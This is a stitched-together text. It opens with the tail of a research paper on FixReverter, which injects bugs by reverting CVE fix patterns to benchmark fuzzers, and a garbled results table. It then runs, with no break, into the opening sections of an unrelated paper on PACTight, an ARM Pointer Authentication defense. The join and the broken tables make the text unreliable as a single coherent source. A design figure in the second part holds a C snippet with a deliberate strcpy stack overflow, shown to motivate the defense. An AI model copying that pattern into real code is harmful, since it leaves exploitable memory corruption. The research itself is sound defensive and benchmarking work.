curl 49 (40 0 9) 19 (16 0 3) 4 (4 0 0) 6 (6 0 0) 59 (46 0 13) 31 (26 0 5) 7 (7 0 0) 13 (12 0 1)
lcms 135 (128 4 3) 25 (24 0 1) 13 (13 0 0) 22 (21 0 1) 161 (152 4 5) 41 (38 0 3) 21 (19 0 2) 33 (31 0 2)
libpcap 30 (29 0 1) 12 (11 0 1) 3 (3 0 0) 9 (8 0 1) 48 (47 0 1) 24 (23 0 1) 7 (7 0 0) 16 (15 0 1)

libxml2_reader 396 (314 18
64) 92 (36 9 47) 16 (9 3 3) 64 (25 8 31) 545 (422 26

97)
175 (79 15

81) 33 (16 4 13) 109 (49 11
49)

libxml2_xml 262 (212 6
44) 67 (29 4 34) 4 (4 0 0) 15 (10 1 5) 317 (258 7

52) 90 (40 4 46) 32 (10 3 19) 75 (33 3 39)

proj4 163 (158 0 5) 73 (72 0 1) 30 (29 0 1) 31 (30 0 1) 204 (197 1 6) 86 (83 0 3) 36 (34 0 2) 38 (36 0 2)

usrsctp 199 (187 11
1) 11 (9 2 0) 3 (2 1 0) 7 (6 1 0) 249 (235 13

1) 20 (17 3 0) 9 (7 2 0) 15 (12 3 0)

zstd 140 (135 0 5) 79 (74 0 5) 28 (28 0 0) 52 (52 0 0) 152(147 0 5) 107(102 0 5) 47 (47 0 0) 89 (88 0 1)

Total 1436 410 115 232 1927 638 219 440
(1255 41

141) (295 17 99) (103 6 6) (181 12 41) (1683 53
191) (461 24 153) (170 11 38) (324 19 97)

AFL and libFuzzer are both classic and popular fuzzers.
AFL++, Eclipser, and FairFuzz were all recently developed.
AFL++ is the best fuzzer using FuzzBench’s coverage metric
in a sample report [67]. Eclipser’s evaluation shows that it sig-

nificantly outperforms other fuzzers in terms of bugs found on
LAVA-M [16]. FairFuzz is the most referenced recent fuzzer
that has been integrated into FuzzBench.

Each fuzzer was run on each benchmark program with 3
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Figure 9: Individual causes detected over time.

trials and 24-hour timeout. We ran bug triage for all crashing
inputs generated by each fuzzer, except for LibFuzzer’s results
on libxml2_reader and libxml2_xml. These two runs gener-
ated orders of magnitude more crashing inputs than other
runs (over 150,000 compared to a few hundred), making it
infeasible to triage all of them. We thus took a random sample
of 664 crashing inputs, which ensures the results are within a
5% margin of error and 1% confidence level. We also limited
the triage of each combination cause to include at most 3
injections. Bug triage took between 3 and 240 minutes for
each fuzzer on each benchmark program.

The experiments were run on 2 servers. Server A has 2 In-
tel(R) Xeon(R) Silver 4116 CPUs with 192GB RAM running
Ubuntu 16.04. Server B has 2 Intel(R) Xeon(R) Gold 5218
CPUs with 384GB RAM running Ubuntu 18.04. All exper-
iments of each target program were conducted on the same
server to ensure that the fuzzer performance can be compared.

5.1 Does FIXREVERTER inject bugs that
fuzzers can actually find?

Table 2 tabulates overall fuzzer performance. Each row is a
REVBUGBENCH program, and each group of columns iden-
tifies a particular fuzzer. Fuzzers that detected the most in-
dividual causes for a program are highlighted in gray. The
MetaFuzzer columns show the aggregated results over all
trials of all fuzzers in each program, an upper bound when
comparing fuzzers. We use this combined performance mea-
sure to illustrate the properties of REVBUGBENCH. Overall,
using the number of individual causes as the performance
metric, the MetaFuzzer found a total of 219 individual causes
in REVBUGBENCH, out of thousands of possible injections
(Table 1); most of these individual causes (170) were due to
the injected bugs that reversed the ABORT pattern.

AFL++ was the best performing fuzzer, detecting the most
individual causes overall (146), and the most in 6 programs
(tied with Eclipser in 1 program). Eclipser was a close second,
finding 139 individual causes, and the most in 4 programs
(tied with other fuzzers in 1 program). While AFL, FairFuzz,

and LibFuzzer found fewer individual causes, each of them
has 1 program in which it detected the most individual causes.

Table 2 shows fuzzer performance by the end of the 24-
hour timeout; Figure 9 shows the median number of individual
causes detected over time, for each fuzzer for all programs.
Many bugs were found quickly, with a long tail. All fuzzers
were able to detect some individual causes even after 12 hours
of the fuzzing campaign. This result illustrates the challenge
of detecting some injected bugs in REVBUGBENCH. AFL++
consistently performed better than other fuzzers over time.
On the other hand, although libFuzzer started by finding many
individual causes (75) in the first 45 minutes, it was eventually
surpassed by AFL and Eclipser over 24 hours.

5.2 Does FIXREVERTER inject bugs that are
hard to find?

Overall, fuzzers found 219 distinct individual bugs during
our experiments, out of thousands injected. We do not know
how many of those injected can lead to a crash (due to the
overapproximate nature of the static analysis), but our experi-
ments show that a sufficient number can be used to distinguish
different fuzzers’ performance.

Indeed, with more time and trials, we expect more will
be detected. For example, we observed that different bugs
were detected by the same fuzzer in different trials: although
LibFuzzer found the most individual causes in lcms (13); in
total there were 21 individual causes found in all trials by all 5
fuzzers (captured in the MetaFuzzer result). Moreover, we can
see that Table 2’s Reach and Trigger columns, which count
the number of injection sites’ reverted conditions that fuzzers
reached and triggered, respectively, are a fair bit higher than
the number of causes. 1927 (24%) and 638 (8%) of all 7910
injected bugs were reached and triggered, respectively. We
expect that for at least some of these, different inputs would
drive the program from the trigger to a crash.

The Venn diagram in Figure 10 examines which fuzzers
found which bugs (in any trial). Over 40% (91 out of 219) in-
dividual bugs were detected by all fuzzers, and 16% (35) bugs
were detected by four fuzzers. This shows a large number of
FIXREVERTER injected bugs can be found by most fuzzers.
On the other hand, each fuzzer detected unique bugs that other
fuzzers did not find. Overall, about 19% (42) of all individual
bugs were only found by 1 fuzzer. FairFuzz, the fuzzer that
had the worst performance in terms of detecting individual
causes, found 2 unique bugs. AFL++, as expected, found the
most unique bugs (28). This result also shows that FIXRE-
VERTER injected bugs that do not overfit a single approach in
the evaluated fuzzers.

5.3 Do fuzzers find combination causes in
REVBUGBENCH?

Our idea in developing REVBUGBENCH was to assess a
fuzzer’s performance according to individual bugs found.
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Figure 10: Venn diagram of all individual causes.

However, we discovered via our triage procedure (Section
3.5) that many crashes only occurred if more than one bug
is injected (i.e., the combination cause); these are tabulated
(summed with individual causes) in the All Causes columns
in Table 2.

For a crash with an individual cause, a reverted condition is
triggered and subsequent execution dereferences a dependent
variable that the check would have prevented, producing a
crash. But not every individual trigger necessarily leads to a
crash, as discussed above; additional criteria may also need
to be met which are outside the triggered condition. When
multiple bugs are injected, it is possible that these criteria
could be met by triggering another bug (or bugs). For example,
suppose that for a particular input I, triggering bug A violates
an invariant about a data structure, but then triggering bug B
drives control flow to a point that accesses that data structure.
Both bugs are needed to cause the crash, for I.

When assessing fuzzer performance, counting individual
bugs is simplest, but doing so fails to account for bug interac-
tions observed, and potentially exploited, by fuzzers during
a campaign. As shown in Table 2, combination causes were
detected in all programs; sometimes individual causes were
more prevalent (e.g, disassemble and proj4), and sometimes
combination ones were (e.g., libxml2_reader and cxxfilt).
Nevertheless, relative performance among fuzzers is fairly
consistent whether using “individual causes" and “all causes"
as metrics. AFL++ was the best fuzzer using both metrics.
Overall, fuzzers performed consistently on the metrics of
reach, trigger and cause. A better fuzzer (e.g., AFL++) tends
to perform better using all three metrics on each target pro-

gram.

6 Related Work

As discussed in Section 1.1, prior fuzzing benchmarks have
limitations that FIXREVERTER can help address. Google
fuzzer-test-suite [68], recently superseded by FuzzBench [3],
and UNIFUZZ [10] are platforms for evaluating fuzz testers
at scale, but neither provides a distinctive indication of when
a bug is triggered; doing so has been shown to yield highly
unreliable results [9]. FIXREVERTER’s automatically injected
bugs produce crashes that can be definitively characterized,
using our novel triage algorithm.

Magma [12] and DARPA Cyber Grand Challenge (CGC)
[11] comprise programs with manually injected bugs that give
a telltale sign when triggered. Magma’s programs are real,
and the injected bugs are based on a variety of actual prior
bugs; CGC’s programs and bugs are synthetic, with many
small programs and one bug per program. FIXREVERTER’s
injected bugs are realistic, based on the reversal of common
bugfix patterns we found in a corpus of CVEs.

LAVA is another bug injection framework for benchmark-
ing fuzz testing [13]. It relies on a dynamic taint analysis to
identify program locations where some input bytes b are able
to influence program behavior. Near these program locations,
LAVA injects out-of-bounds accesses predicated on compar-
isons to “magic values," e.g., b==0x6c617661. There is concern
that the injected bugs in LAVA-M [13] are biased, as noted by
LAVA authors [20] and Magma’s evaluation [12]. Such bias
was not observed in our evaluation on REVBUGBENCH.

Apocalypse [19] is a bug injection methodology that adds
code implementing an error transition system (ETS) along
a judiciously chosen program path; when the final state is
reached, a fault is induced. The current state of ETS is kept
in an injected global variable, and transitions are guarded by
predicates over program variables; such predicates are synthe-
sized from symbolic execution path conditions (for feasibility)
and model counts (for rarity). Apocalypse was used to inject
bugs in 30 Coreutils programs, and it was evaluated using
KLEE [69] and AFL [1]. One nice feature of Apocalypse is
that, like LAVA, injected bugs are always triggerable—they
are injected along what is known to be a feasible path. Hav-
ing to witness such a path in advance, however, is arguably a
limitation, and one that FIXREVERTER does not have. Also
like LAVA, Apocalypse-injected bugs are synthetic, whereas
FIXREVERTER-injected bugs are more realistic. We view
Apocalypse and FIXREVERTER as complementary, and in-
deed both could be used to inject bugs in the same benchmark.

EvilCoder [21] is also a vulnerability injection methodol-
ogy that relies on static dataflow analysis. It identifies sensi-
tive sinks, such as calls to system(), and user-controlled sources,
such as returns from fread(), and aims to discover dataflow
paths from the former to the latter. To inject a bug, it tries to
find “security mechanisms” that are used to affect variables
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that carry data along the flow, e.g., by sanitizing them, and
then “instruments” the mechanism so as to bypass it. While
EvilCoder’s source-sink discovery component has been im-
plemented, its bug injection component seems to not have
been automated, and just a proof-of-concept example was de-
veloped. As such, the utility of the approach was never fully
evaluated. Different from EvilCoder, FIXREVERTER focuses
on injecting vulnerabilities based on bugfix patterns that are
defined both syntactically and semantically. Dataflow analysis
in FIXREVERTER (i.e., the static reachability and dependence
analysis) can also be viewed as a static taint analysis, but its
primary goal is to match the semantic pattern, as described
in Section 3.3. We conjecture that FIXREVERTER could be
extended to implement EvilCoder-style bugs.

FIXREVERTER is a kind of fault injector, an antithesis to
tools that aim to automatically fix faults. While no past work
has used bugfix patterns to introduce triggerable bugs for the
purpose of benchmarking fuzz testing as we present in this
paper, work on automatic program repair has seen successful
applications of bugfix patterns [70]. For example, Getafix [41]
applies a hierarchical clustering algorithm that summarizes
fix patterns into a hierarchy and a ranking technique that uses
the context of a code change to select the most appropriate
fix for a given bug. Getafix shows that real-world bugfixes
often use patterns similar to what we revert in FIXREVERTER,
further evidencing the feasibility of using bugfix patterns to
(re-)introduce realistic bugs. The bugfix patterns discovered
in automatic program repair and other works that study the
bugfix repositories (e.g., [38,71,72]) may be adapted to allow
FIXREVERTER to support other bug injections.

7 Conclusions and Future Work

This paper has presented FIXREVERTER, a novel bug injec-
tion framework at the heart of a fuzzing benchmark-producing
methodology. It aims to inject realistic bugs that give a
unique indication when triggered. It does so by finding,
through syntactic matching and static analysis, code patterns
that match fixes of previous CVEs; reversing those patterns
should (re)introduce self-signaling bugs. FIXREVERTER-
based benchmarks can evolve, since FIXREVERTER can be
used to inject bugs into new programs and with new patterns.
Doing so ensures the benchmark is relevant and fresh, so
tools do not overfit to it. FIXREVERTER serves as a useful
complement to frameworks such as Google’s FuzzBench [3].

We constructed REVBUGBENCH by using FIXREVERTER
on 8 FuzzBench and 2 Binutils programs that are common tar-
gets of fuzzing tools. We evaluated 5 fuzzers using REVBUG-
BENCH and its built-in performance metrics. We observed
that FIXREVERTER injected many triggerable bugs, and these
fuzzers detected very different bugs in REVBUGBENCH.
Overall, the fuzzer performance varied by target program,
with AFL++ doing the best.

We see two important future directions. First, FIXRE-
VERTER’s static analysis has several shortcomings that, if
fixed, should improve the quality of its results. In particular,
sound handling of function pointers would make the static
analysis more useful. Second, FIXREVERTER’s bugfix pat-
terns can be extended according to further study of existing
fixes in bug databases [38, 41]. We plan to include patterns
that do not involve changes to the control flow as in the three
current patterns but require new definitions of the semantic
conditions.
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Abstract

ARM is becoming more popular in desktops and data
centers, opening a new realm in terms of security attacks
against ARM. ARM has released Pointer Authentication,
a new hardware security feature that is intended to ensure
pointer integrity with cryptographic primitives.

In this paper, we utilize Pointer Authentication (PA) to
build a novel scheme to completely prevent any misuse
of security-sensitive pointers. We propose PACTIGHT
to tightly seal these pointers. PACTIGHT utilizes a
strong and unique modifier that addresses the current
issues with the state-of-the-art PA defense mechanisms.
We implement four defenses based on the PACTIGHT
mechanism. Our security and performance evaluation
results show that PACTIGHT defenses are more effi-
cient and secure. Using real PA instructions, we eval-
uated PACTIGHT on 30 different applications, includ-
ing NGINX web server, with an average performance
overhead of 4.07% even when enforcing our strongest
defense. PACTIGHT demonstrates its effectiveness and
efficiency with real PA instructions on real hardware.

1 Introduction
In recent years, the ARM processor architcture started
penetrating into the data center [8, 52, 53] and
mainstream desktop [10] markets beyond the mo-
bile/embedded segments. This opens a new realm in
terms of security attacks against ARM, increasing the im-
portance of having effective and efficient defense mech-
anisms for ARM.

Control-flow hijacking attacks are one of the most
critical security attacks. These attacks aim to subvert the
control-flow of a program by carefully corrupting code
pointers, such as return addresses and function pointers.
Control-flow integrity (CFI) [6] aims to defend against
these attacks by ensuring that the program follows its
proper control-flow. This is mainly done by generating
a control-flow graph (CFG) of the program and making
the program conform to it.

In order to defend against control-flow hijacking at-
tacks efficiently, ARM has introduced a new hardware
security feature, Pointer Authentication (PA) [34], which
ensures pointer integrity with cryptographic primitives.
PA computes a cryptographic MAC called a Pointer
Authentication Code (PAC) and stores it in the unused

upper bits of a 64-bit pointer. PA can be used to de-
fend against control-flow hijacking attacks securely and
efficiently with low performance and memory overhead.

However, PA is not almighty. Although several PA-
based defense mechanisms have been proposed [27, 41–
43] and deployed [11, 34], we identified that they are
still exposed to attacks, such as using a signing gadget
to forge PACs [15] and reusing PACs [43], allowing
arbitrary code execution.

In this paper, we propose PACTIGHT, which is a PA-
based defense against control-flow hijacking attacks.
In particular, we define three security properties of a
pointer such that, if achieved, prevent pointers from be-
ing tampered with. They are: 1) unforgeability: A pointer
p should always point to its legitimate object; 2) non-
copyability: A pointer p can only be used when it is at its
specific legitimate location; 3) non-dangling: A pointer
p cannot be used after it has been freed. PACTIGHT
tightly seals pointers and guarantees that a sealed pointer
cannot be forged, copied, or dangling.

Compared to previous PA-based defense mechanisms,
PACTIGHT assumes a stronger threat model such that
an attacker has both arbitrary read and write capabilities.
PACTIGHT also provides better coverage by protecting
a variety of security-sensitive pointers. In this paper, we
define a sensitive pointer as any pointer that can reach a
code pointer. PACTIGHT enforces the three properties
in order to prevent the pointers from being abused. En-
forcement of the three properties protects against attacks
that rely on manipulating the pointers.

We design PACTIGHT to achieve pointer integrity
by protecting all sensitive pointers and by providing
spatial and temporal memory safety for those sensitive
pointers. Protecting these sensitive pointers achieves
the balance between full memory safety and covering
only control-flow hijacking. This allows for reinforced
protection, thus achieving protection against control-
flow hijacking attacks and providing memory safety for
sensitive pointers. We demonstrate the effectiveness and
practicality of PACTIGHT by evaluating with real PA
instructions on real hardware.

In summary, we make the following contributions:
• We propose PACTIGHT, a novel and efficient ap-

proach to tightly seal pointers using PAC. By utilizing
PACTIGHT’s mechanisms, we make pointers unforge-
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able, non-copyable, and non-dangling.
• We implemented four defenses using PACTIGHT:

forward-edge protection, backward-edge protection,
C++ VTable pointer protection, and all sensitive
pointer protection.

• We provide a strong security evaluation by demon-
strating effectiveness against real-world CVEs and
synthesised attacks.

• We evaluate PACTIGHT implementations on SPEC
CPU2006, nbench, CoreMark benchmarks, and NG-
INX web server with real PAC instructions. We show
that PACTIGHT implementations achieve low perfor-
mance and memory overhead, 4.07% and 23.2% re-
spectively making it possible to deploy PACTIGHT
defenses in the real-world.

2 Background and Motivation
In this section, we introduce control-flow hijacking at-
tacks and ARM’s pointer authentication mechanism. We
then discuss defenses based on PAC and their limitations
to motivate our work.

2.1 Control-Flow Hijacking Attacks

Control-flow hijacking attacks are critical attacks to com-
puter systems because they may allow attackers to run
arbitrary code on the system. A popular way to carry
out a control-flow hijacking attack is to exploit mem-
ory corruption vulnerabilities, which C/C++ programs
are prone to having. In particular, attackers can alter
the value of a code pointer (e.g., return addresses and
function pointers) by corrupting the memory location
that stores the pointer to subvert the execution flow of a
program [16, 17, 20, 22, 26, 30, 59].

To defeat the attack, defenders must ensure that the
program has no single point that can let an attacker
corrupt code pointers as well as data pointers that refer
to code pointers in its recursive memory dereference
chain. Return-oriented programming (ROP) [56], jump-
oriented programming (JOP) [17], and counterfeit-object
oriented programming (COOP) [54] are the techniques
that aim to achieve code execution by chaining returns,
indirect call/jumps, and virtual function calls in an object
iteration loop, respectively.

2.2 ARM Pointer Authentication

ARMv8.3-A [34] introduced a new hardware security
feature, Pointer Authentication (PA). PA has been im-
plemented in the Apple A12 and M1 chips [61]. The
goal of PA is to protect the integrity of security-critical
pointers, such as code pointers. To this end, a pointer au-
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Modifier
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Address

AddressPAC

AddressPAC

(a) PAC signing (b) PAC authentication

Cryptographic Hash
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Figure 1: PA signs a pointer and generates a pointer authenti-
cation code (PAC) based on a address, a secret key, a 64-bit
user-provided modifier using PA instructions (e.g., pacia).
The signed pointer should be authenticated before the access
using the same PAC, address, secret key, and modifier using
PA instructions (e.g., autia).

thentication code (PAC) is generated by a cryptographic
hash function, as a message authentication code (MAC),
to put cryptographic integrity protection on the pointers.
A PAC is a MAC of the target pointer value, a secret
key, and a salt, which is a 64-bit modifier. The modi-
fier can be tweaked to bind the context of the program
when generating a PAC for a pointer. Some examples of
such context are conveying the type of the pointer as a
modifier, using stack frame address as a modifier, etc.

PAC signing. PAC utilizes a cryptographic hash algo-
rithm, namely QARMA [14]. The algorithm takes two
64-bit values (pointer and modifier), as well as a 128-bit
key, and generates a 64-bit PAC. These PACs are trun-
cated and added to the upper unused bits of the 64-bit
pointer as illustrated in Figure 1(a). Five keys in total can
be chosen to generate the PACs. These keys are stored
in special hardware registers protected by the kernel.

PAC authentication. The cryptographic algorithm
takes the pointer with the PAC and the modifier. The
PAC is then regenerated and compared with the one on
the passed pointer. To pass the authentication, both val-
ues need to be the same as the ones originally used to
generate the PAC. If the regenerated PAC matches, the
PAC is removed from the pointer and the pointer can
be used, as shown in Figure 1(b). Otherwise, the top
two bits of the pointer are flipped, rendering the pointer
unusable. Any use of the pointer results in a segfault.

PAC instructions. PAC instructions start with either
pac or aut followed by a character that identifies whether
it protects a code pointer, data pointer or generates a
generic PAC. This is then followed by another charac-
ter that identifies which key is being used. For exam-
ple, the pacib instruction generates a PAC for a code
pointer that uses the B-key. When authenticating this
code pointer, the authenticate instruction for the code
pointer and B-key, i.e., autib, must be used to success-
fully authenticate. Without this, the pointer cannot be
used as its semantics are changed.
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Defense Protection scope Attacker
abilities PAC modifier Unforegablity Non-copyability Non-dangling

PARTS-CFI [43] Return addresses and
indirect code pointers Arbitrary read-write SP for return addresses

and type-id for indirect code pointers. ✓ × ×
PACStack [42] Return addresses Arbitrary read-write Previous return address on the stack ✓ ✓ ×
PTAuth [27] Heap allocated objects Arbitrary write A generated object-id ✓ × ✓

PACTIGHT
All sensitive pointers
and return addresses

Arbitrary
read-write

The location of the pointer and a random tag
for sensitive pointers. Previous return address
and a unique function id for return addresses.

✓ ✓ ✓

Table 1: Comparison between PACTIGHT and state-of-the-art PAC-based defense mechanisms.
2.3 PAC Defense Approaches

Return address focused. Qualcomm’s return address
signing mechanism [34] protects return addresses from
stack memory corruption. It utilizes the paciasp and
autiasp instructions. These are specialized instructions
that sign the return address in the Link Register (LR)
using the Stack Pointer (SP) as the modifier and the
A-key to protect return addresses.

However, because this approach is susceptible to PAC
re-use attacks (see §2.4), PARTS return address protec-
tion [43] includes the SP with a function ID as a modifier
to harden the PAC scheme against re-use attacks. More-
over, PACStack [42] extends the modifier by chaining
PACs to bind all previous return addresses in a call stack.
On the other hand, PCan [41] relies on protecting the
stack with canaries generated with PAC using a modifier
consisting of a function ID and the least-significant 48
bits from SP.
Other code pointers. Apple extended its protection to
cover other pointer types including function pointers and
C++ VTable pointers. However, it uses a zero modifier
to protect them. PARTS [43] utilizes PAC to protect
function pointers, return addresses, and data pointers. It
utilizes a type ID based on LLVM ElementType as the
modifier for signing function pointers and data pointers.
Temporal safety. PTAuth [27] enforces temporal mem-
ory safety using PAC. PTAuth generates a new random
ID at each memory allocation and utilizes it as a mod-
ifier for generating a PAC. Because the corresponding
random ID of a pointer is cleared or updated when the
pointer is being freed or allocated, PTAuth detects the vi-
olations of temporal memory safety (e.g., use-after-free)
by maintaining it as a modifier to check the liveness of
a pointer at the time of authentication.

2.4 Limitations of Current PAC Defenses

Forging PAC. PAC relies on the security of the crypto-
graphic hash, that is, attackers cannot generate a valid
PAC for a pointer, even if they have both the pointer
address value and the corresponding modifier. However,
a memory corruption vulnerability in PAC generation
logic may serve as an arbitrary PAC generator, allowing
attackers to bypass the PAC authentication [15].

Reusing valid PACs in a different context. A PAC
generated for one context can be reused in a different
context if two contexts share the same modifier. This
applies not only to the case of using zero modifier, such
as Apple’s virtual function table protection, but also to
the case that shares the same modifier across different
contexts, such as Qualcomm/Apple stack protection. An
example case of the latter is to reuse the PAC generated
for a valid return address with a specific SP at a different
return location that shared the same SP (e.g., having
multiple function calls in a function, a case for sharing
the same stack frame for all of its returns). PARTS-CFI
is also susceptible to this attack because the approach
uses a static modifier for the pointer, based on its LLVM
ElementType. Having two different pointers of the same
type, such two pointers will share the same modifier, and
in such a case, attackers can reuse the PAC generated for
one in the context of using the other. Table 1 summarizes
the comparison between PACTIGHT and other existing
state-of-the-art PAC defense mechanisms.
Reusing dangling PACs. Attackers can reuse legiti-
mately generated PACs, even after a pointer becomes
dangling. This occurs if the modifier used for signing
the pointer does not convey the temporal state of the
pointer. In such a case, the PAC is still valid even after
deallocation of the memory referred to by the pointer,
and thereby, attackers may reuse a valid PAC for a dif-
ferent object that the PAC has signed. In particular, there
is no mechanism in PARTS or Apple’s Clang to dynami-
cally check and confirm if the pointers that they protect
are not dangling, thus they are susceptible to this attack.

3 Threat Model and Assumptions
Our threat model assumes a powerful adversary with
read and write capabilities by exploiting input-controlled
memory corruption errors in the program. The attacker
cannot inject or modify code due to Data Execution
Prevention (DEP), which is by default enabled in most
modern operating systems [35, 49]. Also, the attacker
does not control higher privilege levels. We assume that
the hardware and kernel are trusted, specifically that
the PA secret keys are generated, managed and stored
securely. Attacks targeting the kernel and hardware, such
as Spectre [37], and data only attacks, which modify and
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leak non-control data, are out of scope. Our assumptions
are consistent with prior works [23, 41–43] with the
exception of PTAuth [27], which only allows arbitrary
write and not arbitrary read.

4 PACTIGHT Design
In this section, we describe the design of PACTIGHT.
We first discuss our design goal (§4.1), then we intro-
duce three pointer integrity properties that PACTIGHT
enforces to overcome the limitations of prior PAC
approaches (§4.2), and then we compare PACTIGHT
to current state-of-the-art defenses (§4.3). Lastly, we
present the detailed design of PACTIGHT. As shown
in Figure 2, PACTIGHT consists of a runtime library
and compiler-based instrumentation. We first discuss
the runtime (§4.4) to explain how PACTIGHT en-
forces the pointer integrity properties and then explain
PACTIGHT’s automatic instrumentation and defense
mechanisms (§5).

4.1 PACTIGHT Design Goals

The overarching goal of PACTIGHT is to completely
prevent control-flow hijacking attacks in a program with
low performance overhead. While prior works on PAC
show promising results, they are limited in scope and/or
security protection as discussed in §2.3. To achieve our
goal, it is essential to enforce the complete integrity of
pointers, which we will discuss in §4.2, and prevent any
pointer misuse. We protect sensitive pointers [38] – all
code pointers and all data pointers that are reachable to
any code pointer – because guaranteeing the integrity of
all sensitive pointers is sufficient to make control-flow
hijacking impossible. In summary, our main goals are:
• Integrity: Prevent any misuse of sensitive pointers.
• Performance: Minimize runtime performance and

memory overhead.
• Compatibility: Allow protection of legacy (C/C++)

programs without any modification.

4.2 PACTIGHT Pointer Integrity Property

Based on the limitations of prior PAC approaches and
our observation on how a pointer can be compromised,
we define three security properties of pointer integrity,
discussed in detail below:
• Unforgeability: As illustrated in Figure 3(a), a pointer

can be forged (i.e., corrupted) to point to an unintended
memory object. Many memory corruption-based con-
trol flow hijacking attacks fall into this category by
directly corrupting pointers (e.g., indirect call, return
address). With the unforgeability property, a pointer

always points to its legitimate memory object and it
cannot be altered maliciously.

• Non-copyability: A pointer can be copied and re-used
maliciously as illustrated in Figure 3(b). Many infor-
mation leakage-based control flow hijacking attacks
first collect live code pointers and reuse the collected
live pointer by copying them to subvert control flow.
With the non-copyability property, a pointer cannot
be copied maliciously. It asserts that a live pointer
can only be referred from its correct location, pre-
venting the re-use of live pointers at different sites. If
non-copyability is guaranteed, the security impact is
non-replayability, and thus pointer attacks that replay
PAC-ed pointers for malicious use are prevented.

• Non-dangling: A pointer can refer to an unintended
memory object if its pointee object is freed or the freed
memory is reallocated as shown in Figure 3(c). The in-
tegrity of a pointer is compromised even if the pointer
itself is not directly forged or copied. Semantically,
the life cycle of a pointer should end when its pointee
object is destructed. Many attacks exploiting temporal
memory safety violation reuse such dangling pointers.
With the non-dangling property, a pointer cannot be
re-used after its pointee object is freed.
The importance of these properties stems from the

fact that to hijack control-flow, at least one of these prop-
erties must be violated. PACTIGHT is able to detect any
of these violations before the use of a pointer, thus guar-
anteeing the above mentioned pointer integrity. Note that
ARM PAC only enforces the unforgeability property.

4.3 Comparison against Other PAC-based De-
fenses

In contrast to other PAC-based defenses (Table 1),
PACTIGHT offers more coverage against PAC attacks.
PARTS [43] relies on a static modifier based on the
LLVM ElementType, which can be repeated. Even though
an attack based on this would be harder than when using
the SP as a modifier, it is still possible. PACTIGHT’s
unique modifier scheme eliminates any replayability of
PACs, and thus defends against PAC reuse.

PACStack [42] introduces the idea of cryptographi-
cally binding a return address to a particular control-flow
path by having all previous return addresses in the call
stack influence the PA modifier. PACStack only protects
return addresses on the stack and needs a forward-edge
CFI scheme with it, whilst PACTIGHT protects all sen-
sitive pointers on the stack and elsewhere.

PTAuth [27] attempts to provide protection against

3720    31st USENIX Security Symposium USENIX Association



PACTight Instrumentation

- Identify sensitive pointers
- Assign random tags on allocation
- Sign a pointer on store and after use
- Authenticate a signed pointer on load
- Remove random tags on deallocation

1:  typedef int (*FP_t)(char *);
2:  int A(char *);
3:  pct_add_tag(&A, 8, 1);
4:  void handleReq(char *input) {
5:    FP_t *p;
6:    char buf[10];
7:    p = &A;
8:    pct_sign(&p);
9:    // stack buffer overflow
10:  strcpy(buf, input);
11:  // p can be corrupted
12:  pct_auth(&p, p);
13:  (*p)("Hello, PACTight!");
14:  pct_sign(&p);
15:  pct_rm_tag(p);
16:  return;
17: }

Source
Code Clang IR

Protected
Binary

PACTight Library (compiler-rt)

- Assign a random tag (pct_add_tag)
- Sign a pointer (pct_sign)
- Authenticate a pointer (pct_auth)
- Remove a random tag (pct_rm_tag)

PAC Instructions
pacia, autia, xpac, etc.

tag type size array size

... ......

Metadata Store

Compile Time Runtime

Instrumented Program

Figure 2: PACTIGHT design. At compile time, PACTIGHT instruments the allocation, assignment, use, and deallocation of
code pointers and data pointers that are reachable to a code pointer (i.e., sensitive pointers). PACTIGHT guarantees three pointer
integrity properties (§4.2), namely unforgeability, non-copyability, and non-dangling. At runtime, PACTIGHT generates a PAC
for sensitive pointers using a novel authentication scheme and checks the PAC upon pointer dereference (§4.4). PACTIGHT
automates its instrumentation in four different levels: forward edge, backward edge, C++ VTable, and sensitive pointers (§5).
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Figure 3: Three types of violations of pointer integrity.

temporal attacks. However, it assumes a weaker threat
model, defending against attackers with arbitrary write
only. Also, it is vulnerable to intra-object violation.
If two pointers within the same object are swapped,
PTAuth cannot detect this. Thus, the pointers are copy-
able in this case. Moreover, it only protects the heap and
does not handle stack protection, even from temporal
attacks. PACTIGHT defends against a strong attacker,
with arbitrary read and write capabilities, protects the
stack, heap, global variables, and defends against any
forging, copyability, and dangling of pointers.

4.4 PACTIGHT Runtime

This section describes the PACTIGHT runtime. We
first describe how PACTIGHT efficiently enforces the
pointer integrity properties (§4.4.1), then discuss the
PACTIGHT runtime library (§4.4.2), pointer operations
(§4.4.3) and the metadata store design (§4.4.4).

4.4.1 Enforcing PACTIGHT Pointer Integrity

In order to enforce the three properties, PACTIGHT re-
lies on the PAC modifier. The modifier is a user-defined
salt that is incorporated by the cryptographic hash into
the PAC in addition to the address. Any changes in either
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Address
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Figure 4: Signing and authentication of a pointer variable p
in PACTIGHT. In addition to the unforgeability of p provided
by PA, PACTIGHT uses the address of a pointer (&p) and a
random tag associated with a pointee (tag(p)) to provide the
non-copyability and non-dangling properties.

the modifier or the address result in a different PAC, de-
tecting the violation. We propose to blend the address of
a pointer (&p) and a random tag (tag(p)) associated with
a memory object to efficiently enforce the PACTIGHT
pointer integrity property, as illustrated in Figure 4.
• Unforgeability: PAC by itself enforces the unforge-

ability of a pointer. PAC includes the pointer as one of
the inputs to generate the PAC. If the pointer is forged,
it will be detected at authentication.

• Non-copyability: PACTIGHT adds the location of the
pointer (&p) as a part of the modifier. This guarantees
that the pointer can only be used at that specific lo-
cation. Any change in the location by copying the
pointer (e.g., q = p) changes the modifier (&q) and
thus triggers an authentication fault.

• Non-dangling: PACTIGHT uses a random tag ID to
track the life cycle of a memory object. PACTIGHT
assigns a 64-bit random tag ID to a memory object
upon allocation and deletes it upon deallocation. This
is done for both stack and heap allocations. A random
tag ID of a memory object (tag(p)) is blended with the
location of the pointer (&p) to get the 64-bit modifier
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for PAC generation and authentication. This implies
that the life cycle of a PACTIGHT-sealed pointer is
bonded to that of a memory object. When memory
is deallocated (or re-allocated), PACTIGHT deletes
(or re-generates) the random tag. This invalidates all
pointers to that memory, enforcing the non-dangling
property.
By incorporating all these pieces of information (i.e.,

p, &p, and tag(p)) together into the PAC, PACTIGHT
effectively enforces the three security properties for
pointer integrity. Any change to any of the informa-
tion results in a PAC authentication failure. Note that
we used XOR to blend the location of a pointer and
pointee’s random tag into a single 64-bit integer.

4.4.2 Runtime Library

The PACTIGHT runtime library provides four APIs to
enforce pointer integrity. The PACTIGHT LLVM instru-
mentation passes described in §5 automatically instru-
ment a program using those APIs. The code for this
library is presented in §A.1.
1) pct_add_tag(p,tsz,asz) sets the metadata for a
newly allocated memory region. Besides a pointer p, it
takes two additional arguments – the size of an array ele-
ment (tsz) and the number of elements in the array (asz)
